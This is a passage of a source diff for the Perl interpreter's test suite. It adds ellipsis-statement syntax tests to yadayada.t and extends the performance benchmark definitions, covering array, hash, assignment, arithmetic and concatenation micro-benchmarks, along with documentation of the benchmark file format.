index a213bec2beb..13ff4b25a11 100755
--- a/gnu/usr.bin/perl/t/op/yadayada.t
+++ b/gnu/usr.bin/perl/t/op/yadayada.t
@@ -2,13 +2,13 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
-plan 9;
+plan 34;
my $err;
my $err1 = "Unimplemented at $0 line ";
@@ -19,6 +19,11 @@ eval { ... };
is $@, $err, "Execution of ellipsis statement reported 'Unimplemented' code";
$@ = '';
+my $i = 0;
+is eval { $i++; ...; $i+=10; 123 }, undef;
+like $@, qr/\AUnimplemented /;
+is $i, 1;
+
note("RT #122661: Semicolon before ellipsis statement disambiguates to indicate block rather than hash reference");
my @input = (3..5);
my @transformed;
@@ -42,6 +47,20 @@ eval { @transformed = map {;... } @input; };
is $@, $err, "Disambiguation case 4";
$@ = '';
+note("RT #132150: ... in other contexts is a syntax error");
+foreach(
+ "... + 0", "0 + ...",
+ "... . 0", "0 . ...",
+ "... or 1", "1 or ...",
+ "... if 1", "1 if ...",
+ '[...]',
+ 'my $a = ...',
+ '... sub quux {}',
+) {
+ is eval($_), undef;
+ like $@, qr/\Asyntax error /;
+}
+
#
# Regression tests, making sure ... is still parsable as an operator.
#
diff --git a/gnu/usr.bin/perl/t/perf/benchmarks b/gnu/usr.bin/perl/t/perf/benchmarks
index 88b20deb940..7795079c78b 100644
--- a/gnu/usr.bin/perl/t/perf/benchmarks
+++ b/gnu/usr.bin/perl/t/perf/benchmarks
@@ -33,23 +33,82 @@
#
# call:: subroutine and method handling
# expr:: expressions: e.g. $x=1, $foo{bar}[0]
+# func:: perl functions, e.g. func::sort::...
# loop:: structural code like for, while(), etc
# regex:: regular expressions
# string:: string handling
#
#
-# Each hash has three fields:
+# Each hash has up to five fields:
+#
+# desc is a description of the test; if not present, it defaults
+# to the same value as the 'code' field
+#
+# setup is an optional string containing setup code that is run once
#
-# desc is a description of the test
-# setup is a string containing setup code
# code is a string containing the code to run in a loop
#
-# So typically a benchmark tool might do something like
+# pre is an optional string containing setup code which is executed
+# just before 'code' for every iteration, but whose execution
+# time is not included in the result
+#
+# post like pre, but executed just after 'code'.
+#
+# So typically a benchmark tool might execute variations on something like
#
-# eval "package $token; $setup; for (1..1000000) { $code }"
+# eval "package $name; $setup; for (1..1000000) { $pre; $code; $post }"
#
# Currently the only tool that uses this file is Porting/bench.pl;
# try C<perl Porting/bench.pl --help> for more info
+#
+# ------
+#
+# Note: for the cachegrind variant, an entry like
+# 'foo::bar' => {
+# setup => 'SETUP',
+# pre => 'PRE',
+# code => 'CODE',
+# post => 'POST',
+# }
+# creates two temporary perl sources looking like:
+#
+# package foo::bar;
+# BEGIN { srand(0) }
+# SETUP;
+# for my $__loop__ (1..$ARGV[0]) {
+# PRE; 1; POST;
+# }
+#
+# and as above, but with the loop body replaced with:
+#
+# PRE; CODE; POST;
+#
+# It then pipes each of the two sources into
+#
+# PERL_HASH_SEED=0 valgrind [options] someperl [options] - N
+#
+# where N is set to 10 and then 20.
+#
+# It then uses the result of those four cachegrind runs to subtract out
+# the perl startup and loop overheads (including SETUP, PRE and POST), leaving
+# (in theory only CODE);
+#
+# Note that misleading results may be obtained if each iteration is
+# not identical. For example with
+#
+# code => '$x .= "foo"',
+#
+# the string $x gets longer on each iteration. Similarly, a hash might be
+# empty on the first iteration, but have entries on subsequent iterations.
+#
+# To avoid this, use 'pre' or 'post', e.g.
+#
+# pre => '$x = ""',
+# code => '$x .= "foo"',
+#
+# Finally, the optional 'compile' key causes the code body to be wrapped
+# in eval qw{ sub { ... }}, so that compile time rather than execution
+# time is measured.
[
@@ -184,6 +243,46 @@
code => '($r||0)->[0][0][0]',
},
+ 'expr::array::lex_bool_empty' => {
+ desc => 'empty lexical array in boolean context',
+ setup => 'my @a;',
+ code => '!@a',
+ },
+ 'expr::array::lex_bool_full' => {
+ desc => 'non-empty lexical array in boolean context',
+ setup => 'my @a = 1..10;',
+ code => '!@a',
+ },
+ 'expr::array::lex_scalar_empty' => {
+ desc => 'empty lexical array in scalar context',
+ setup => 'my (@a, $i);',
+ code => '$i = @a',
+ },
+ 'expr::array::lex_scalar_full' => {
+ desc => 'non-empty lexical array in scalar context',
+ setup => 'my @a = 1..10; my $i',
+ code => '$i = @a',
+ },
+ 'expr::array::pkg_bool_empty' => {
+ desc => 'empty lexical array in boolean context',
+ setup => 'our @a;',
+ code => '!@a',
+ },
+ 'expr::array::pkg_bool_full' => {
+ desc => 'non-empty lexical array in boolean context',
+ setup => 'our @a = 1..10;',
+ code => '!@a',
+ },
+ 'expr::array::pkg_scalar_empty' => {
+ desc => 'empty lexical array in scalar context',
+ setup => 'our @a; my $i;',
+ code => '$i = @a',
+ },
+ 'expr::array::pkg_scalar_full' => {
+ desc => 'non-empty lexical array in scalar context',
+ setup => 'our @a = 1..10; my $i',
+ code => '$i = @a',
+ },
'expr::arrayhash::lex_3var' => {
desc => 'lexical $h{$k1}[$i]{$k2}',
@@ -198,34 +297,6 @@
code => '$h{$k1}[$i]{$k2}',
},
-
- 'expr::assign::scalar_lex_int' => {
- desc => 'lexical $x = 1',
- setup => 'my $x',
- code => '$x = 1',
- },
- 'expr::assign::scalar_lex_str' => {
- desc => 'lexical $x = "abc"',
- setup => 'my $x',
- code => '$x = "abc"',
- },
- 'expr::assign::scalar_lex_strint' => {
- desc => 'lexical $x = 1 where $x was previously a string',
- setup => 'my $x = "abc"',
- code => '$x = 1',
- },
- 'expr::assign::scalar_lex_intstr' => {
- desc => 'lexical $x = "abc" where $x was previously an int',
- setup => 'my $x = 1;',
- code => '$x = "abc"',
- },
- 'expr::assign::2list_lex' => {
- desc => 'lexical ($x, $y) = (1, 2)',
- setup => 'my ($x, $y)',
- code => '($x, $y) = (1, 2)',
- },
-
-
'expr::hash::lex_1const' => {
desc => 'lexical $hash{const}',
setup => 'my %h = ("foo" => 1)',
@@ -257,7 +328,6 @@
code => '($r||0)->{foo}{bar}{baz}',
},
-
'expr::hash::pkg_1const' => {
desc => 'package $hash{const}',
setup => '%h = ("foo" => 1)',
@@ -295,6 +365,55 @@
setup => 'my ($k1,$k2) = qw(foo bar); my %h = ($k1 => { $k2 => 1 });',
code => 'exists $h{$k1}{$k2}',
},
+
+ 'expr::hash::bool_empty' => {
+ desc => 'empty lexical hash in boolean context',
+ setup => 'my %h;',
+ code => '!%h',
+ },
+ 'expr::hash::bool_empty_unknown' => {
+ desc => 'empty lexical hash in unknown context',
+ setup => 'my ($i, %h); sub f { if (%h) { $i++ }}',
+ code => 'f()',
+ },
+ 'expr::hash::bool_full' => {
+ desc => 'non-empty lexical hash in boolean context',
+ setup => 'my %h = 1..10;',
+ code => '!%h',
+ },
+
+
+ (
+ map {
+ sprintf('expr::hash::notexists_lex_keylen%04d',$_) => {
+ desc => 'exists on non-key of length '. $_,
+ setup => 'my %h; my $key = "A" x ' . $_ . '; $h{$key."x"} = 1;',
+ code => 'exists $h{$key}',
+ },
+ } (
+ 1 .. 24,
+ # 1,2,3,7,8,9,14,15,16,20,24,
+ 50,
+ 100,
+ 1000,
+ )
+ ),
+ (
+ map {
+ sprintf('expr::hash::exists_lex_keylen%04d',$_) => {
+ desc => 'exists on existing key of length '. $_,
+ setup => 'my %h; my $key = "A" x ' . $_ . '; $h{$key} = 1;',
+ code => 'exists $h{$key}',
+ },
+ } (
+ 1 .. 24,
+ # 1,2,3,7,8,9,14,15,16,20,24,
+ 50,
+ 100,
+ 1000,
+ )
+ ),
+
'expr::hash::delete_lex_2var' => {
desc => 'lexical delete $hash{$k1}{$k2}',
setup => 'my ($k1,$k2) = qw(foo bar); my %h = ($k1 => { $k2 => 1 });',
@@ -302,101 +421,6 @@
},
- # using a const string as second arg to index triggers using FBM.
- # the FBM matcher special-cases 1,2-byte strings.
- #
- 'expr::index::short_const1' => {
- desc => 'index of a short string against a 1 char const substr',
- setup => 'my $x = "aaaab"',
- code => 'index $x, "b"',
- },
- 'expr::index::long_const1' => {
- desc => 'index of a long string against a 1 char const substr',
- setup => 'my $x = "a" x 1000 . "b"',
- code => 'index $x, "b"',
- },
- 'expr::index::short_const2aabc_bc' => {
- desc => 'index of a short string against a 2 char const substr',
- setup => 'my $x = "aaaabc"',
- code => 'index $x, "bc"',
- },
- 'expr::index::long_const2aabc_bc' => {
- desc => 'index of a long string against a 2 char const substr',
- setup => 'my $x = "a" x 1000 . "bc"',
- code => 'index $x, "bc"',
- },
- 'expr::index::long_const2aa_ab' => {
- desc => 'index of a long string aaa.. against const substr "ab"',
- setup => 'my $x = "a" x 1000',
- code => 'index $x, "ab"',
- },
- 'expr::index::long_const2bb_ab' => {
- desc => 'index of a long string bbb.. against const substr "ab"',
- setup => 'my $x = "b" x 1000',
- code => 'index $x, "ab"',
- },
- 'expr::index::long_const2aa_bb' => {
- desc => 'index of a long string aaa.. against const substr "bb"',
- setup => 'my $x = "a" x 1000',
- code => 'index $x, "bb"',
- },
- # this one is designed to be pathological
- 'expr::index::long_const2ab_aa' => {
- desc => 'index of a long string abab.. against const substr "aa"',
- setup => 'my $x = "ab" x 500',
- code => 'index $x, "aa"',
- },
- # near misses with gaps, 1st letter
- 'expr::index::long_const2aaxx_xy' => {
- desc => 'index of a long string with "xx"s against const substr "xy"',
- setup => 'my $x = "aaaaaaaaxx" x 100',
- code => 'index $x, "xy"',
- },
- # near misses with gaps, 2nd letter
- 'expr::index::long_const2aayy_xy' => {
- desc => 'index of a long string with "yy"s against const substr "xy"',
- setup => 'my $x = "aaaaaaaayy" x 100',
- code => 'index $x, "xy"',
- },
- # near misses with gaps, duplicate letter
- 'expr::index::long_const2aaxy_xx' => {
- desc => 'index of a long string with "xy"s against const substr "xx"',
- setup => 'my $x = "aaaaaaaaxy" x 100',
- code => 'index $x, "xx"',
- },
- # alternating near misses with gaps
- 'expr::index::long_const2aaxxaayy_xy' => {
- desc => 'index of a long string with "xx/yy"s against const substr "xy"',
- setup => 'my $x = "aaaaaaaaxxbbbbbbbbyy" x 50',
- code => 'index $x, "xy"',
- },
- 'expr::index::short_const3aabcd_bcd' => {
- desc => 'index of a short string against a 3 char const substr',
- setup => 'my $x = "aaaabcd"',
- code => 'index $x, "bcd"',
- },
- 'expr::index::long_const3aabcd_bcd' => {
- desc => 'index of a long string against a 3 char const substr',
- setup => 'my $x = "a" x 1000 . "bcd"',
- code => 'index $x, "bcd"',
- },
- 'expr::index::long_const3ab_abc' => {
- desc => 'index of a long string of "ab"s against a 3 char const substr "abc"',
- setup => 'my $x = "ab" x 500',
- code => 'index $x, "abc"',
- },
- 'expr::index::long_const3bc_abc' => {
- desc => 'index of a long string of "bc"s against a 3 char const substr "abc"',
- setup => 'my $x = "bc" x 500',
- code => 'index $x, "abc"',
- },
- 'expr::index::utf8_position_1' => {
- desc => 'index of a utf8 string, matching at position 1',
- setup => 'my $x = "abc". chr(0x100); chop $x',
- code => 'index $x, "b"',
- },
-
-
# list assign, OP_AASSIGN
@@ -417,6 +441,21 @@
setup => 'my ($x, @a) = 1..4;',
code => '($x, @a) = ()',
},
+ 'expr::aassign::mh_empty' => {
+ desc => 'my hash assigned empty',
+ setup => '',
+ code => 'my %h = ()',
+ },
+ 'expr::aassign::lhx_empty' => {
+ desc => 'non-empty lexical hash assigned empty',
+ setup => 'my %h = 1..4;',
+ code => '%h = ()',
+ },
+ 'expr::aassign::llhx_empty' => {
+ desc => 'non-empty lexical var and hash assigned empty',
+ setup => 'my ($x, %h) = 1..5;',
+ code => '($x, %h) = ()',
+ },
'expr::aassign::3m_empty' => {
desc => 'three my vars assigned empty',
setup => '',
@@ -427,6 +466,11 @@
setup => 'my ($x,$y,$z)',
code => '($x,$y,$z) = ()',
},
+ 'expr::aassign::3lref_empty' => {
+ desc => 'three lexical ref vars assigned empty',
+ setup => 'my ($x,$y,$z); my $r = []; ',
+ code => '($x,$y,$z) = ($r,$r,$r); ($x,$y,$z) = ()',
+ },
'expr::aassign::pa_empty' => {
desc => 'package array assigned empty',
setup => '',
@@ -460,6 +504,21 @@
setup => 'my ($x, @a) = 1..4;',
code => '($x, @a) = (1,2,3)',
},
+ 'expr::aassign::mh_4c' => {
+ desc => 'my hash assigned 4 consts',
+ setup => '',
+ code => 'my %h = qw(a 1 b 2)',
+ },
+ 'expr::aassign::lhx_4c' => {
+ desc => 'non-empty lexical hash assigned 4 consts',
+ setup => 'my %h = qw(a 1 b 2);',
+ code => '%h = qw(c 3 d 4)',
+ },
+ 'expr::aassign::llhx_5c' => {
+ desc => 'non-empty lexical var and array assigned 5 consts',
+ setup => 'my ($x, %h) = (1, qw(a 1 b 2));',
+ code => '($x, %h) = (10, qw(c 3 d 4))',
+ },
'expr::aassign::3m_3c' => {
desc => 'three my vars assigned 3 consts',
setup => '',
@@ -615,6 +674,14 @@
code => '($x,$y,$z) = @_',
},
+ # (....) = %lexical
+
+ 'expr::aassign::ma_lh' => {
+ desc => 'my array assigned lexical hash',
+ setup => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => 'my @a = %h',
+ },
+
# (....) = ($lex1,$lex2,$lex3);
@@ -780,6 +847,82 @@
code => '($x,$x) = (undef, $x)',
},
+ 'expr::aassign::2list_lex' => {
+ desc => 'lexical ($x, $y) = (1, 2)',
+ setup => 'my ($x, $y)',
+ code => '($x, $y) = (1, 2)',
+ },
+
+ 'expr::aassign::lex_rv' => {
+ desc => 'lexical ($ref1, $ref2) = ($ref3, $ref4)',
+ setup => 'my ($r1, $r2, $r3, $r4);
+ ($r1, $r2) = (($r3, $r4) = ([], []));',
+ code => '($r1, $r2) = ($r3, $r4)',
+ },
+
+ 'expr::aassign::lex_rv1' => {
+ desc => 'lexical ($ref1, $ref2) = ($ref3, $ref4) where ref1,2 are freed',
+ setup => 'my ($r1, $r2);',
+ code => '($r1, $r2) = ([], []);',
+ },
+
+ 'expr::aassign::boolean' => {
+ desc => '!(@a = @b)',
+ setup => 'my ($s,@a, @b); @b = (1,2)',
+ code => '!(@a = @b);',
+ },
+ 'expr::aassign::scalar' => {
+ desc => '$scalar = (@a = @b)',
+ setup => 'my ($s, @a, @b); @b = (1,2)',
+ code => '$s = (@a = @b);',
+ },
+
+ # array assign of strings
+
+ 'expr::aassign::la_3s' => {
+ desc => 'assign 3 strings to empty lexical array',
+ setup => 'my @a',
+ code => '@a = (); @a = qw(abc defg hijkl);',
+ },
+ 'expr::aassign::la_3ts' => {
+ desc => 'assign 3 temp strings to empty lexical array',
+ setup => 'my @a',
+ code => '@a = (); @a = map $_, qw(abc defg hijkl);',
+ },
+ 'expr::aassign::lan_3s' => {
+ desc => 'assign 3 strings to non-empty lexical array',
+ setup => 'my @a = qw(abc defg hijkl)',
+ code => '@a = qw(abc defg hijkl);',
+ },
+ 'expr::aassign::lan_3ts' => {
+ desc => 'assign 3 temp strings to non-empty lexical array',
+ setup => 'my @a = qw(abc defg hijkl)',
+ code => '@a = map $_, qw(abc defg hijkl);',
+ },
+
+ # hash assign of strings
+
+ 'expr::aassign::lh_2s' => {
+ desc => 'assign 2 strings to empty lexical hash',
+ setup => 'my %h',
+ code => '%h = (); %h = qw(k1 abc k2 defg);',
+ },
+ 'expr::aassign::lh_2ts' => {
+ desc => 'assign 2 temp strings to empty lexical hash',
+ setup => 'my %h',
+ code => '%h = (); %h = map $_, qw(k1 abc k2 defg);',
+ },
+ 'expr::aassign::lhn_2s' => {
+ desc => 'assign 2 strings to non-empty lexical hash',
+ setup => 'my %h = qw(k1 abc k2 defg);',
+ code => '%h = qw(k1 abc k2 defg);',
+ },
+ 'expr::aassign::lhn_2ts' => {
+ desc => 'assign 2 temp strings to non-empty lexical hash',
+ setup => 'my %h = qw(k1 abc k2 defg);',
+ code => '%h = map $_, qw(k1 abc k2 defg);',
+ },
+
'expr::arith::add_lex_ii' => {
desc => 'add two integers and assign to a lexical var',
@@ -811,6 +954,17 @@
setup => 'my ($x,$y); ($x,$y,$z) = (1, 2.2, 3.3);',
code => '$z = $x + $y',
},
+ 'expr::arith::add_lex_ss' => {
+ desc => 'add two short strings and assign to a lexical var',
+ setup => 'my ($x,$y,$z) = ("1", "2", 1);',
+ code => '$z = $x + $y; $x = "1"; ',
+ },
+
+ 'expr::arith::add_lex_ll' => {
+ desc => 'add two long strings and assign to a lexical var',
+ setup => 'my ($x,$y,$z) = ("12345", "23456", 1);',
+ code => '$z = $x + $y; $x = "12345"; ',
+ },
'expr::arith::sub_lex_ii' => {
desc => 'subtract two integers and assign to a lexical var',
@@ -874,13 +1028,59 @@
code => '$z = $x * $y',
},
+ # use '!' to test SvTRUE on various classes of value
+
+ 'expr::arith::not_PL_undef' => {
+ desc => '!undef (using PL_sv_undef)',
+ setup => 'my $x',
+ code => '$x = !undef',
+ },
+ 'expr::arith::not_PL_no' => {
+ desc => '!($x == $y) (using PL_sv_no)',
+ setup => 'my ($x, $y) = (1,2); my $z;',
+ code => '$z = !($x == $y)',
+ },
+ 'expr::arith::not_PL_zero' => {
+ desc => '!%h (using PL_sv_zero)',
+ setup => 'my ($x, %h)',
+ code => '$x = !%h',
+ },
+ 'expr::arith::not_PL_yes' => {
+ desc => '!($x == $y) (using PL_sv_yes)',
+ setup => 'my ($x, $y) = (1,1); my $z;',
+ code => '$z = !($x == $y)',
+ },
+ 'expr::arith::not_undef' => {
+ desc => '!$y where $y is undef',
+ setup => 'my ($x, $y)',
+ code => '$x = !$y',
+ },
+ 'expr::arith::not_0' => {
+ desc => '!$x where $x is 0',
+ setup => 'my ($x, $y) = (0, 0)',
+ code => '$y = !$x',
+ },
+ 'expr::arith::not_1' => {
+ desc => '!$x where $x is 1',
+ setup => 'my ($x, $y) = (1, 0)',
+ code => '$y = !$x',
+ },
+ 'expr::arith::not_string' => {
+ desc => '!$x where $x is "foo"',
+ setup => 'my ($x, $y) = ("foo", 0)',
+ code => '$y = !$x',
+ },
+ 'expr::arith::not_ref' => {
+ desc => '!$x where $s is an array ref',
+ setup => 'my ($x, $y) = ([], 0)',
+ code => '$y = !$x',
+ },
+
'expr::arith::preinc' => {
- desc => '++$x',
setup => 'my $x = 1;',
code => '++$x',
},
'expr::arith::predec' => {
- desc => '--$x',
setup => 'my $x = 1;',
code => '--$x',
},
@@ -895,9 +1095,889 @@
code => '$y = $x--', # scalar context so not optimised to --$x
},
+
+ # concatenation; quite possibly optimised to OP_MULTICONCAT
+
+ 'expr::concat::cl' => {
+ setup => 'my $lex = "abcd"',
+ code => '"foo" . $lex',
+ },
+ 'expr::concat::lc' => {
+ setup => 'my $lex = "abcd"',
+ code => '$lex . "foo"',
+ },
+ 'expr::concat::ll' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$lex1 . $lex2',
+ },
+
+ 'expr::concat::l_append_c' => {
+ setup => 'my $lex',
+ pre => '$lex = "abcd"',
+ code => '$lex .= "foo"',
+ },
+ 'expr::concat::l_append_l' => {
+ setup => 'my $lex1; my $lex2 = "wxyz"',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 .= $lex2',
+ },
+ 'expr::concat::l_append_ll' => {
+ setup => 'my $lex1; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 .= $lex2 . $lex3',
+ },
+ 'expr::concat::l_append_clclc' => {
+ setup => 'my $lex1; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 .= "-foo-$lex2-foo-$lex3-foo"',
+ },
+ 'expr::concat::l_append_lll' => {
+ setup => 'my $lex1; my ($lex2, $lex3, $lex4) = qw(pqrs wxyz 1234)',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 .= $lex2 . $lex3 . $lex4',
+ },
+
+ 'expr::concat::m_ll' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => 'my $lex = $lex1 . $lex2',
+ },
+ 'expr::concat::m_lll' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+ code => 'my $lex = $lex1 . $lex2 . $lex3',
+ },
+ 'expr::concat::m_cl' => {
+ setup => 'my $lex1 = "abcd"',
+ code => 'my $lex = "const$lex1"',
+ },
+ 'expr::concat::m_clclc' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => 'my $lex = "foo=$lex1 bar=$lex2\n"',
+ },
+ 'expr::concat::m_clclc_long' => {
+ desc => 'my $lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n" where lex1/2 are 400 chars',
+ setup => 'my $lex1 = "abcd" x 100; my $lex2 = "wxyz" x 100',
+ code => 'my $lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n"',
+ },
+
+ 'expr::concat::l_ll' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$lex = $lex1 . $lex2',
+ },
+ 'expr::concat::l_ll_ldup' => {
+ setup => 'my $lex1; my $lex2 = "wxyz"',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 = $lex1 . $lex2',
+ },
+ 'expr::concat::l_ll_rdup' => {
+ setup => 'my $lex1; my $lex2 = "wxyz"',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 = $lex2 . $lex1',
+ },
+ 'expr::concat::l_ll_lrdup' => {
+ setup => 'my $lex1',
+ pre => '$lex1 = "abcd"',
+ code => '$lex1 = $lex1 . $lex1',
+ },
+ 'expr::concat::l_lll' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+ code => '$lex = $lex1 . $lex2 . $lex3',
+ },
+ 'expr::concat::l_lllll' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"; my $lex4 = "the quick brown fox"; my $lex5 = "to be, or not to be..."',
+ code => '$lex = $lex1 . $lex2 . $lex3 . $lex4 . $lex5',
+ },
+ 'expr::concat::l_cl' => {
+ setup => 'my $lex; my $lex1 = "abcd"',
+ code => '$lex = "const$lex1"',
+ },
+ 'expr::concat::l_clclc' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$lex = "foo=$lex1 bar=$lex2\n"',
+ },
+ 'expr::concat::l_clclc_long' => {
+ desc => '$lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n" where lex1/2 are 400 chars',
+ setup => 'my $lex; my $lex1 = "abcd" x 100; my $lex2 = "wxyz" x 100',
+ code => '$lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n"',
+ },
+ 'expr::concat::l_clclclclclc' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "the quick brown fox"; my $lex4 = "to be, or not to be..."',
+ code => '$lex = "foo1=$lex1 foo2=$lex2 foo3=$lex3 foo4=$lex4\n"',
+ },
+
+ 'expr::concat::g_append_c' => {
+ setup => 'our $pkg',
+ pre => '$pkg = "abcd"',
+ code => '$pkg .= "foo"',
+ },
+ 'expr::concat::g_append_l' => {
+ setup => 'our $pkg; my $lex1 = "wxyz"',
+ pre => '$pkg = "abcd"',
+ code => '$pkg .= $lex1',
+ },
+ 'expr::concat::g_append_ll' => {
+ setup => 'our $pkg; my $lex1 = "pqrs"; my $lex2 = "wxyz"',
+ pre => '$pkg = "abcd"',
+ code => '$pkg .= $lex1 . $lex2',
+ },
+ 'expr::concat::g_append_clclc' => {
+ setup => 'our $pkg; my $lex1 = "pqrs"; my $lex2 = "wxyz"',
+ pre => '$pkg = "abcd"',
+ code => '$pkg .= "-foo-$lex1-foo-$lex2-foo-"',
+ },
+
+ 'expr::concat::g_ll' => {
+ setup => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$pkg = $lex1 . $lex2',
+ },
+ 'expr::concat::g_gl_ldup' => {
+ setup => 'our $pkg; my $lex2 = "wxyz"',
+ pre => '$pkg = "abcd"',
+ code => '$pkg = $pkg . $lex2',
+ },
+ 'expr::concat::g_lg_rdup' => {
+ setup => 'our $pkg; my $lex1 = "wxyz"',
+ pre => '$pkg = "abcd"',
+ code => '$pkg = $lex1 . $pkg',
+ },
+ 'expr::concat::g_gg_lrdup' => {
+ setup => 'our $pkg',
+ pre => '$pkg = "abcd"',
+ code => '$pkg = $pkg . $pkg',
+ },
+ 'expr::concat::g_lll' => {
+ setup => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+ code => '$pkg = $lex1 . $lex2 . $lex3',
+ },
+ 'expr::concat::g_cl' => {
+ setup => 'our $pkg; my $lex1 = "abcd"',
+ code => '$pkg = "const$lex1"',
+ },
+ 'expr::concat::g_clclc' => {
+ setup => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$pkg = "foo=$lex1 bar=$lex2\n"',
+ },
+ 'expr::concat::g_clclc_long' => {
+ desc => '$pkg = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n" where lex1/2 are 400 chars',
+ setup => 'our $pkg; my $lex1 = "abcd" x 100; my $lex2 = "wxyz" x 100',
+ code => '$pkg = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n"',
+ },
+
+ 'expr::concat::utf8_uuu' => {
+ desc => 'my $s = $a.$b.$c where all args are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "\x{101}fghij"; my $c = "\x{102}klmn"',
+ code => '$s = $a.$b.$c',
+ },
+ 'expr::concat::utf8_suu' => {
+ desc => 'my $s = "foo=$a bar=$b baz=$c" where $b,$c are utf8',
+ setup => 'my $s; my $a = "abcde"; my $b = "\x{100}fghij"; my $c = "\x{101}klmn"',
+ code => '$s = "foo=$a bar=$b baz=$c"',
+ },
+ 'expr::concat::utf8_usu' => {
+ desc => 'my $s = "foo=$a bar=$b baz=$c" where $a,$c are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+ code => '$s = "foo=$a bar=$b baz=$c"',
+ },
+ 'expr::concat::utf8_usx' => {
+ desc => 'my $s = "foo=$a bar=$b baz=$c" where $a is utf8, $c has 0x80',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x80\x81klmn"',
+ code => '$s = "foo=$a bar=$b baz=$c"',
+ },
+
+ 'expr::concat::utf8_s_append_uuu' => {
+ desc => '$s .= $a.$b.$c where all RH args are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "\x{101}fghij"; my $c = "\x{102}klmn"',
+ pre => '$s = "abcd"',
+ code => '$s .= $a.$b.$c',
+ },
+ 'expr::concat::utf8_s_append_suu' => {
+ desc => '$s .= "foo=$a bar=$b baz=$c" where $b,$c are utf8',
+ setup => 'my $s; my $a = "abcde"; my $b = "\x{100}fghij"; my $c = "\x{101}klmn"',
+ pre => '$s = "abcd"',
+ code => '$s .= "foo=$a bar=$b baz=$c"',
+ },
+ 'expr::concat::utf8_s_append_usu' => {
+ desc => '$s .= "foo=$a bar=$b baz=$c" where $a,$c are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+ pre => '$s = "abcd"',
+ code => '$s .= "foo=$a bar=$b baz=$c"',
+ },
+ 'expr::concat::utf8_s_append_usx' => {
+ desc => '$s .= "foo=$a bar=$b baz=$c" where $a is utf8, $c has 0x80',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x80\x81klmn"',
+ pre => '$s = "abcd"',
+ code => '$s .= "foo=$a bar=$b baz=$c"',
+ },
+
+ 'expr::concat::utf8_u_append_uuu' => {
+ desc => '$s .= $a.$b.$c where all args are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "\x{101}fghij"; my $c = "\x{102}klmn"',
+ pre => '$s = "\x{100}wxyz"',
+ code => '$s .= $a.$b.$c',
+ },
+ 'expr::concat::utf8_u_append_suu' => {
+ desc => '$s .= "foo=$a bar=$b baz=$c" where $s,$b,$c are utf8',
+ setup => 'my $s; my $a = "abcde"; my $b = "\x{100}fghij"; my $c = "\x{101}klmn"',
+ pre => '$s = "\x{100}wxyz"',
+ code => '$s .= "foo=$a bar=$b baz=$c"',
+ },
+ 'expr::concat::utf8_u_append_usu' => {
+ desc => '$s .= "foo=$a bar=$b baz=$c" where $s,$a,$c are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+ pre => '$s = "\x{100}wxyz"',
+ code => '$s .= "foo=$a bar=$b baz=$c"',
+ },
+ 'expr::concat::utf8_u_append_usx' => {
+ desc => '$s .= "foo=$a bar=$b baz=$c" where $s,$a are utf8, $c has 0x80',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x80\x81klmn"',
+ pre => '$s = "\x{100}wxyz"',
+ code => '$s .= "foo=$a bar=$b baz=$c"',
+ },
+
+ 'expr::concat::nested_mutator' => {
+ setup => 'my $lex1; my ($lex2, $lex3, $lex4) = qw(abcd pqrs wxyz)',
+ pre => '$lex1 = "QPR"',
+ code => '(($lex1 .= $lex2) .= $lex3) .= $lex4',
+ },
+
+
+ # scalar assign, OP_SASSIGN
+
+
+ 'expr::sassign::my_conststr' => {
+ setup => '',
+ code => 'my $x = "abc"',
+ },
+ 'expr::sassign::scalar_lex_int' => {
+ desc => 'lexical $x = 1',
+ setup => 'my $x',
+ code => '$x = 1',
+ },
+ 'expr::sassign::scalar_lex_str' => {
+ desc => 'lexical $x = "abc"',
+ setup => 'my $x',
+ code => '$x = "abc"',
+ },
+ 'expr::sassign::scalar_lex_strint' => {
